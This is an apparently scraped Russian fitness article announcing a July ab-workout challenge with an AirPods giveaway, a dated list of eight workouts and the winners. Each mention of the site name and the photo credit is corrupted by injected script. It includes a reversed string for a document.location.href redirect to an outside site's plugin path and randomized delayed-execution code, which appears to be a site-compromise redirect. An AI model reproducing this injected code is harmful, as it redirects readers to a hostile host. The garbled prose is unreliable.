Июльский челлендж: прокачайте пресс и получите наушники AirPods

Выполните всю программу тренировок от fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru, получите красивый пресс и наушники AirPods.

Мы знаем, о чём вы мечтаете летом! О подтянутом прессе, который можно демонстрировать на пляже или во время уличной тренировки. И хотим помочь вам (и себе) воплотить эту мечту в жизнь. Поэтому редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru составила для вас программу из восьми тренировок, которые нужно делать в течение двух недель. А для дополнительной мотивации мы решили разыграть наушники Apple AirPods среди тех, кто выполнит все тренировки.

Июльский челлендж: прокачайте пресс и получите наушники AirPods. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Через день мы будем публиковать новую тренировку на сайте. Занимайтесь вместе с нами, выкладывайте фото и видео ваших тренировок в «Инстаграм» с тегом #июльскийCHALLENGEr (в сториз тоже считается) и отметкой нашего аккаунта @the_challenger.ru. Один из участников по итогам челленджа получит новые AirPods от Apple — беспроводные наушники, которые сделают ваши тренировки приятнее. Ещё два участника станут героями материалов fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru. Победители будут выбраны 16 июля при помощи генератора случайных чисел.

На старт. Внимание. Пресс!

Июльский челлендж: прокачайте пресс и получите наушники AirPods. Изображение номер 2

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Чек-лист тренировок, которые вам предстоит сделать:

1 июля — 15-минутная тренировка для плоского живота.

3 июля — 5 крутых планок для пресса.

5 июля — комплекс на пресс от олимпийского чемпиона по гребле.

7 июля — безумная восьмиминутная тренировка на пресс, которая заставит его гореть.

9 июля — всего 3 упражнения, которые помогут вам увидеть свой пресс.

11 июля — одно упражнение, зато какое! Скручивание на косые мышцы живота.

13 июля — 10 упражнений подряд: просто нереальная тренировка на пресс.

15 июля — 5 упражнений для мышц пресса и спины, которые займут у вас четыре минуты.

UPD: конкурс завершён. Спасибо всем участникам. Победительницей стала @lifelikeachallenge. Поздравляем! Ещё две участницы — @nadi_in_life и @tren_uchi — в ближайшее время станут героинями материалов fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru.

Статьи по теме

3 упражнения на песке от чемпиона мира по пляжному футболу

Для тех, кто на даче: функциональная тренировка с бревном

«На пляж утягивающее бельё не наденешь». 5 упражнений для всего тела от Авроры

6 лучших пляжей Москвы

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector